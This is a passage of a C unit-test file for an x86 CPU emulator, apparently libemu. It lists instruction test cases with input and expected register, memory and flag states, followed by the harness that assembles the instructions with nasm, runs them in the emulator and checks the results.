FLAG(f_pf),\n\t},\n\n\t\n\n\n\n\n\n\t/* 08 */\n\t{\n\t\t.instr = \"or ah,al\",\n//\t\t.code = \"\\x00\\xc4\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0xff01,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x0ff01,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags = FLAG(f_sf) | FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or ch,dl\",\n//\t\t.code = \"\\x00\\xd5\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x1000,0x20,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x3000,0x20,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or [ecx],al\",\n//\t\t.code = \"\\x00\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x10101010},\n\t\t.out_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x10101010},\n\t},\n\t/* 09 */\n\t{\n\t\t.instr = \"or ax,cx\",\n//\t\t.code = \"\\x66\\x01\\xc8\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0xffff2222,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0xffff3333,0xffff2222,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"or [ecx],ax\",\n//\t\t.code = \"\\x66\\x01\\x01\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.out_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x22225555},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"or eax,ecx\",\n//\t\t.code = \"\\x01\\xc8\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x22221111,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x33333333,0x22221111,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"or [ecx],eax\",\n//\t\t.code = \"\\x01\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.out_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x22225555},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t/* 0a */\n\t{\n\t\t.instr = \"or cl,bh\",\n//\t\t.code = \"\\x02\\xcf\",\t/* or cl,bh */\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0xff,0,0x100,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0xff,0,0x100,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf) | FLAG(f_sf), \n\t},\n\t{\n\t\t.instr = \"or al,[ecx]\",\n//\t\t.code = \"\\x02\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x3,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x30303030},\n\t\t.out_state.reg  = {0x33,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x30303030},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 0b */\n\t{\n\t\t.instr = \"or cx,di\",\n//\t\t.code = \"\\x66\\x03\\xcf\",\t/* or cx,di */\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x10101212,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or ax,[ecx]\",\n//\t\t.code = \"\\x66\\x03\\x01\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.reg  = {0x11113333,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or ecx,edi\",\n//\t\t.code = \"\\x03\\xcf\",\t/* or ecx,edi */\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0x12121212,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or eax,[ecx]\",\n//\t\t.code = \"\\x03\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.reg  = {0x55553333,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or ecx,[ebx+eax*4+0xdeadbeef]\",\n\t\t.code = \"\\x0b\\x8c\\x83\\xef\\xbe\\xad\\xde\",\n\t\t.codesize = 7,\n\t\t.in_state.reg  = {0x2,0x1,0,0x1,0,0,0,0},\n\t\t.in_state.mem_state = {0xdeadbef8, 0x44443333},\n\t\t.out_state.reg  = {0x2,0x44443333,0,0x1,0,0,0,0},\n\t\t.out_state.mem_state = {0xdeadbef8, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 0c */\n\t{\n\t\t.instr = \"or al,0x11\",\n//\t\t.code = \"\\x04\\x11\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22222233,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 0d */\n\t{\n\t\t.instr = \"or ax,0x1111\",\n\t\t.code = \"\\x66\\x0d\\x11\\x11\",\n\t\t.codesize = 4,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22223333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"or eax,0x11111111\",\n\t\t.code = \"\\x0d\\x11\\x11\\x11\\x11\",\n\t\t.codesize = 5,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x33333333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\n\n\n\n\n\n\n\n\n    /* 10 */\n\t{\n\t\t.instr = \"adc ah,al\",\n//\t\t.code = \"\\x00\\xc4\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0xff01,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x101,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags = FLAG(f_cf) ,\n\t},\n\t{\n\t\t.instr = \"adc ch,dl\",\n//\t\t.code = \"\\x00\\xd5\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x1000,0x20,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0,0x3100,0x20,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\n\t},\n\t{\n\t\t.instr = \"adc [ecx],al\",\n//\t\t.code = \"\\x00\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x10101010},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x10,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x10101021},\n\t\t.out_state.eflags = FLAG(f_pf) ,\n\t},\n\t/* 11 */\n\t{\n\t\t.instr = \"adc ax,cx\",\n//\t\t.code = \"\\x66\\x01\\xc8\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0xffff2222,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0xffff3334,0xffff2222,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n//\t\t.out_state.eflags =  FLAG_SET(f_pf), \n\t},\n\t{\n\t\t.instr = \"adc [ecx],ax\",\n//\t\t.code = \"\\x66\\x01\\x01\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0xffff1111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x22225556},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t{\n\t\t.instr = \"adc eax,ecx\",\n//\t\t.code = \"\\x01\\xc8\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x22221111,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x33333334,0x22221111,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n//\t\t.out_state.eflags =  FLAG_SET(f_pf), \n\t},\n\t{\n\t\t.instr = \"adc [ecx],eax\",\n//\t\t.code = \"\\x01\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x22224444},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x22221111,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44445556},\n\t\t.out_state.eflags =  FLAG(f_pf), \n\t},\n\t/* 12 */\n\t{\n\t\t.instr = \"adc cl,bh\",\n//\t\t.code = \"\\x02\\xcf\",\t/* adc cl,bh */\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0xff,0,0x100,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0,0x1,0,0x100,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_cf), \n\t},\n\t{\n\t\t.instr = \"adc al,[ecx]\",\n//\t\t.code = \"\\x02\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x3,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x30303030},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x34,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x30303030},\n\n\t},\n\t/* 13 */\n\t{\n\t\t.instr = \"adc cx,di\",\n//\t\t.code = \"\\x66\\x03\\xcf\",\t/* adc cx,di */\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0,0x10101213,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n\n\t},\n\t{\n\t\t.instr = \"adc ax,[ecx]\",\n//\t\t.code = \"\\x66\\x03\\x01\",\n//\t\t.codesize = 3,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x11115556,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"adc ecx,edi\",\n//\t\t.code = \"\\x03\\xcf\",\t/* adc ecx,edi */\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0,0x10101010,0,0,0,0,0,0x02020202},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0,0x12121213,0,0,0,0,0,0x02020202},\n\t\t.out_state.mem_state = {0, 0},\n//\t\t.out_state.eflags =  FLAG_SET(f_pf),\n\t},\n\t{\n\t\t.instr = \"adc eax,[ecx]\",\n//\t\t.code = \"\\x03\\x01\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x11112222,0x40000,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0x40000, 0x44443333},\n\t\t.in_state.eflags = FLAG(f_cf),\n\t\t.out_state.reg  = {0x55555556,0x40000,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x40000, 0x44443333},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"adc ecx,[ebx+eax*4+0xdeadbeef]\",\n\t\t.code = \"\\x13\\x8c\\x83\\xef\\xbe\\xad\\xde\",\n\t\t.codesize = 7,\n\t\t.in_state.reg  = {0x2,0x1,0,0x1,0,0,0,0},\n\t\t.in_state.mem_state = {0xdeadbef8, 0x44443333},\n\t\t.out_state.reg  = {0x2,0x44443334,0,0x1,0,0,0,0},\n\t\t.out_state.mem_state = {0xdeadbef8, 0x44443333},\n\t},\n\t/* 14 */\n\t{\n\t\t.instr = \"adc al,0x11\",\n//\t\t.code = \"\\x04\\x11\",\n//\t\t.codesize = 2,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22222233,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t/* 15 */\n\t{\n\t\t.instr = \"adc ax,0x1111\",\n\t\t.code = \"\\x66\\x15\\x11\\x11\",\n\t\t.codesize = 4,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x22223333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"adc eax,0x11111111\",\n\t\t.code = \"\\x15\\x11\\x11\\x11\\x11\",\n\t\t.codesize = 5,\n\t\t.in_state.reg  = {0x22222222,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0x33333333,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\n\n\n\n\t{\n\t\t.instr = \"jmp ecx\",\n\t\t.in_state.reg  = {0,0xdeadbeef,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0, 0},\n\t\t.out_state.reg  = {0,0xdeadbeef,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0, 0},\n\t\t.out_state.eip = 0xdeadbeef,\n\t},\n\t{\n\t\t.instr = \"jmp [eax]\",\n\t\t.in_state.reg  = {0xdeadbabe,0,0,0,0,0,0,0},\n\t\t.in_state.mem_state = {0xdeadbabe, 0xdeafcafe},\n\t\t.out_state.reg  = {0xdeadbabe,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0xdeadbabe, 0xdeafcafe},\n\t\t.out_state.eip = 0xdeafcafe,\n\t},\n\t{\n\t\t.instr = \"jmp +16\",\n\t\t.code = \"\\xeb\\x10\", /* jmp +16*/\n\t\t.codesize = 2,\n\t\t.out_state.eip = (CODE_OFFSET + 2 + 0x10),\n\t},\n\t{\n\t\t.instr = \"jmp -1\",\n\t\t.code = \"\\xeb\\xff\", /* jmp -1 */\n\t\t.codesize = 2,\n\t\t.out_state.eip = (CODE_OFFSET + 2 + -1),\n\t},\n\t{\n\t\t.instr = \"jmp +0x01000000\",\n\t\t.code = \"\\xe9\\x00\\x00\\x00\\x01\", /* jmp +0x01000000 */\n\t\t.codesize = 5,\n\t\t.out_state.eip = (CODE_OFFSET + 5 + 0x1000000),\n\t},\n\t\n\t{\n\t\t.instr = \"mov al, 0xff\",\n\t\t.out_state.reg = {0xff,0,0,0,0,0,0,0},\n\t},\n\t{\n\t\t.instr = \"mov ah, 0xff\",\n\t\t.out_state.reg = {0xff00,0,0,0,0,0,0,0},\n\t},\n\t{\n\t\t.instr = \"mov ax, 0xffff\",\n\t\t.code = \"\\x66\\xb8\\xff\\xff\",\n\t\t.codesize = 4,\n\t\t.out_state.reg = {0xffff,0,0,0,0,0,0,0},\n\t},\n\t{\n\t\t.instr = \"mov eax, 0xffffffff\",\n\t\t.code = \"\\xb8\\xff\\xff\\xff\\xff\",\n\t\t.codesize = 5,\n\t\t.out_state.reg = {0xffffffff,0,0,0,0,0,0,0},\n\t},\n\t{\n\t\t.instr = \"mov eax, [esp+0x24]\",\n\t\t.in_state.mem_state = {0xffffff24, 0xfefefefe},\n\t\t.in_state.reg = {0,0,0,0,0xffffff00,0,0,0},\n\t\t.out_state.mem_state = {0xffffff24, 0xfefefefe},\n\t\t.out_state.reg = {0xfefefefe,0,0,0,0xffffff00,0,0,0},\n\t},\n\t{\n\t\t.instr = \"xor dword [eax+0x1000], 0x11111111\",\n\t\t.code = \"\\x81\\xb0\\x00\\x10\\x00\\x00\\x11\\x11\\x11\\x11\",\n\t\t.codesize = 10,\n\t\t.in_state.mem_state = {0x2000, 0x22222222},\n\t\t.in_state.reg = {0x1000,0,0,0,0,0,0,0},\n\t\t.out_state.mem_state = {0x2000, 0x33333333},\n\t\t.out_state.reg = {0x1000,0,0,0,0,0,0,0},\n\t\t.out_state.eflags =  FLAG(f_pf),\n\t},\n\t{\n\t\t.instr = \"mov eax, [ebp+ecx*4-0x100]\",\n\t\t.code = \"\\x8b\\x84\\x8d\\x00\\xff\\xff\\xff\",\n\t\t.codesize = 7,\n\t\t.in_state.mem_state = {0x140, 0x22222222},\n\t\t.in_state.reg = {0x1000,0x10,0,0,0,0x200,0,0},\n\t\t.out_state.reg = {0x22222222,0x10,0,0,0,0x200,0,0},\n\t},\n\t{\n\t\t.instr = \"mov eax, [ebp+ecx*4-0x10000000]\",\n\t\t.code = \"\\x8b\\x84\\x8d\\x00\\x00\\x00\\xf0\",\n\t\t.codesize = 7,\n\t\t.in_state.mem_state = {0x14000000, 0x22222222},\n\t\t.in_state.reg = {0x1000,0x1000000,0,0,0,0x20000000,0,0},\n\t\t.out_state.reg = {0x22222222,0x1000000,0,0,0,0x20000000,0,0},\n\t},\n\n\n\n};\n\nint prepare(void)\n{\n\tint i;\n\tfor (i=0;i<sizeof(tests)/sizeof(struct instr_test);i++)\n\t{\n\t\tif ( (opts.nasm_force == 0 && tests[i].code != NULL) || tests[i].instr == 0)\n\t\t{ // dup it so we can free it\n\t\t\tchar *c = (char *)malloc(tests[i].codesize);\n\t\t\tmemcpy(c,tests[i].code,tests[i].codesize);\n\t\t\ttests[i].code = c;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tconst char *use = \"USE32\\n\";\n\t\t\tFILE *f=fopen(\"/tmp/foo.S\",\"w+\");\n\n\t\t\tif (f == NULL)\n\t\t\t{\n\t\t\t\tprintf(\"failed to create asm file for nasm instruction %s\\n\\n\\t%s\",tests[i].instr,strerror(errno));\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tif( fwrite(use,strlen(use),1,f) != 1 ||\n\t\t\t\tfwrite(tests[i].instr,1,strlen(tests[i].instr),f) != strlen(tests[i].instr) )\n\t\t\t\texit(-1);\n\t\t\tfclose(f);\n\n\t\t\tif( system(\"cd /tmp/; nasm foo.S\") != 0 )\n\t\t\t\texit(-1);\n\n\t\t\tf=fopen(\"/tmp/foo\",\"r\");\n\t\t\tif (f == NULL)\n\t\t\t{\n\t\t\t\tprintf(\"failed to open compiled nasm file for read for instruction %s\\n\\n\\t%s\",tests[i].instr,strerror(errno));\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tfseek(f,0,SEEK_END);\n\n\t\t\ttests[i].codesize = ftell(f);\n\t\t\ttests[i].code = malloc(tests[i].codesize);\n\t\t\tfseek(f,0,SEEK_SET);\n\t\t\tif( fread(tests[i].code,1,tests[i].codesize,f) != tests[i].codesize )\n\t\t\t\texit(-1);\n\t\t\tfclose(f);\n\n\t\t\tunlink(\"/tmp/foo.S\");\n\t\t\tunlink(\"/tmp/foo\");\n\t\t}\n\t}\n\treturn 0;\n}\n\n\n\n\nint test(int n)\n{\n\tint i=0;\n\tstruct emu *e = emu_new();\n\tstruct emu_cpu *cpu = emu_cpu_get(e);\n\tstruct emu_memory *mem = emu_memory_get(e);\n\n\tfor (i=0;i<sizeof(tests)/sizeof(struct instr_test);i++)\n\t{\n\t\tif( n != -1 && i != n )\n\t\t\tcontinue;\n\t\t\t\n\t\tint failed = 0;\n\n\n\t\tprintf(\"testing (#%d) '%s' \\t\", i, tests[i].instr);\n\t\tint j=0;\n\n\t\tif ( opts.verbose == 1 )\n\t\t{\n\t\t\tprintf(\"code '\");\n\t\t\tfor ( j=0;j<tests[i].codesize;j++ )\n\t\t\t{\n\t\t\t\tprintf(\"%02x \",(uint8_t)tests[i].code[j]);\n\t\t\t}\n\t\t\tprintf(\"' \");\n\t\t}\n\n\n\t\t/* set the registers to the initial values */\n\t\tfor ( j=0;j<8;j++ )\n\t\t{\n\t\t\temu_cpu_reg32_set(cpu,j ,tests[i].in_state.reg[j]);\n\t\t}\n   \t\n\n\t\t/* set the flags */\n\t\temu_cpu_eflags_set(cpu,tests[i].in_state.eflags);\n\n\n\t\t/* write the code to the offset */\n\t\tint static_offset = CODE_OFFSET;\n\t\tfor( j = 0; j < tests[i].codesize; j++ )\n\t\t{\n\t\t\temu_memory_write_byte(mem, static_offset+j, tests[i].code[j]);\n\t\t}\n\n\t\tif (tests[i].in_state.mem_state[0] != 0 || tests[i].in_state.mem_state[1] != 0)\n\t\t{\n\t\t\tprintf(\"writing mem\\n\");\n\t\t\temu_memory_write_dword(mem, tests[i].in_state.mem_state[0], tests[i].in_state.mem_state[1]);\n\t\t}\n\n\t\tif (opts.verbose)\n\t\t{\n\t\t\tprintf(\"memory at 0x%08x = 0x%08x (%i %i)\\n\",\n\t\t\t\t   tests[i].in_state.mem_state[0], \n\t\t\t\t   tests[i].in_state.mem_state[1],\n\t\t\t\t   (int)tests[i].in_state.mem_state[1],\n\t\t\t\t   (uint32_t)tests[i].in_state.mem_state[1]);\n\t\t}\n\n\n\t\t/* set eip to the code */\n\t\temu_cpu_eip_set(emu_cpu_get(e), static_offset);\n\n\t\t/* run the code */\n\t\tif (opts.verbose == 1 )\n\t\t{\n        \temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\temu_cpu_debug_print(cpu);\n\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t}\n\t\t\n\t\tint ret; //= emu_cpu_run(emu_cpu_get(e));\n\n\t\tfor (j=0;j<opts.steps;j++)\n\t\t{\n\t\t\tret = emu_cpu_parse(emu_cpu_get(e));\n\t\t\tret = emu_cpu_step(emu_cpu_get(e));\n\t\t\tif (opts.verbose == 1)\n\t\t\t{\n\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\t\temu_cpu_debug_print(cpu);\n\t\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t\t}\n\t\t\tif ( ret != 0 )\n\t\t\t{\n\t\t\t\tprintf(\"cpu error %s\\n\", emu_strerror(e));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n   \n\n\t\tif (opts.verbose == 1)\n\t\t{\n\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_DEBUG);\n\t\t\temu_cpu_debug_print(cpu);\n\t\t\temu_log_level_set(emu_logging_get(e),EMU_LOG_NONE);\n\t\t}\n        \t\n\n\t\t/* check the registers for the exptected values */\n\n\t\tfor ( j=0;j<8;j++ )\n\t\t{\n\t\t\tif ( emu_cpu_reg32_get(cpu, j) ==  tests[i].out_state.reg[j] )\n\t\t\t{\n\t\t\t\tif (opts.verbose == 1)\n\t\t\t\t\tprintf(\"\\t %s \"SUCCESS\"\\n\",regm[j]);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"\\t %s \"FAILED\" got 0x%08x expected 0x%08x\\n\",regm[j],emu_cpu_reg32_get(cpu, j),tests[i].out_state.reg[j]);\n\t\t\t\tfailed = 1;\n\t\t\t}\n\t\t}\n\n\n\t\t/* check the memory for expected values */\n\t\tuint32_t value;\n\n\t\tif ( tests[i].out_state.mem_state[0] != 0 ||  tests[i].out_state.mem_state[1] != 0)\n\t\t{\n\t\t\tif ( emu_memory_read_dword(mem,tests[i].out_state.mem_state[0],&value) == 0 )\n\t\t\t{\n\t\t\t\tif ( value == tests[i].out_state.mem_state[1] )\n\t\t\t\t{\n\t\t\t\t\tif (opts.verbose == 1)\n\t\t\t\t\t\tprintf(\"\\t memory \"SUCCESS\" 0x%08x = 0x%08x\\n\",tests[i].out_state.mem_state[0], tests[i].out_state.mem_state[1]);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tprintf(\"\\t memory \"FAILED\" at 0x%08x got 0x%08x expected 0x%08x\\n\",tests[i].out_state.mem_state[0],value, tests[i].out_state.mem_state[1]);\n\t\t\t\t\tfailed = 1;\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprintf(\"\\tmemory \"FAILED\" emu says: '%s' when accessing %08x\\n\", strerror(emu_errno(e)),tests[i].out_state.mem_state[0]);\n\t\t\t\tfailed = 1;\n\t\t\t}\n\n\t\t}\n\n\t\t/* check the cpu flags for expected values */\n\t\tif ( tests[i].out_state.eflags != emu_cpu_eflags_get(cpu) )\n\t\t{\n\t\t\tprintf(\"\\t flags \"FAILED\" got %08x expected %08x\\n\",emu_cpu_eflags_get(cpu),tests[i].out_state.eflags);\n\t\t\tfor(j=0;j<32;j++)\n\t\t\t{\n\t\t\t\tuint32_t f = emu_cpu_eflags_get(cpu);\n\t\t\t\tif ( (tests[i].out_state.eflags & (1 << j)) != (f & (1 <<j)))\n\t\t\t\t\tprintf(\"\\t flag %s (bit %i) failed, expected %i is %i\\n\",flags[j], j, \n\t\t\t\t\t\t   (tests[i].out_state.eflags & (1 << j)),\n\t\t\t\t\t\t   (f & (1 <<j)));\n\t\t\t}\n\n\t\t\tfailed = 1;\n\t\t}else\n\t\t{\n\t\t\tif (opts.verbose == 1)\n\t\t\t\tprintf(\"\\t flags \"SUCCESS\"\\n\");\n\t\t}\n\n\t\t\n\t\tif( tests[i].out_state.eip != 0 && tests[i].out_state.eip != emu_cpu_eip_get(cpu) )\n\t\t{\n\t\t\tprintf(\"\\t %s \"FAILED\" got 0x%08x expected 0x%08x\\n\", \"eip\", emu_cpu_eip_get(cpu), tests[i].out_state.eip);\n\t\t\tfailed = 1;\n\t\t}\n\n\n\t\t/* bail out on *any* error */\n\t\tif (failed == 0)\n\t\t{\n\t\t\tprintf(SUCCESS\"\\n\");\n\t\t}else\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t\t\n\t}\n\temu_free(e);\n\treturn 0;\n}\n\nvoid cleanup(void)\n{\n\tint i;\n\tfor (i=0;i<sizeof(tests)/sizeof(struct instr_test);i++)\n    \tif (tests[i].code != NULL)\n    \t\tfree(tests[i].code);\n\t\t\n}\n\nvoid dump_export_table(void)\n{\n/*\tint i;\n\tfor (i=0;i<sizeof(mem_7c801000);i++)\n\t\tprintf(\"%c\",mem_7c801000[i]);\n*/\n}\n\nint main(int argc, char *argv[])\n{\n\tmemset(&opts,0,sizeof(struct run_time_options));\n\n\topts.steps = 1;\n\topts.testnumber = -1;\n\n\twhile ( 1 )\n\t{\t\n\t\tint c;\n\t\tint option_index = 0;\n\t\tstatic struct option long_options[] = {\n\t\t\t{\"verbose\"\t\t\t, 0, 0, 'v'},\n\t\t\t{\"nasm-force\"\t\t, 0, 0, 'n'},\n\t\t\t{\"steps\"\t\t\t, 1, 0, 's'},\n\t\t\t{\"testnumber\"\t\t, 1, 0, 't'},\n\t\t\t{0, 0, 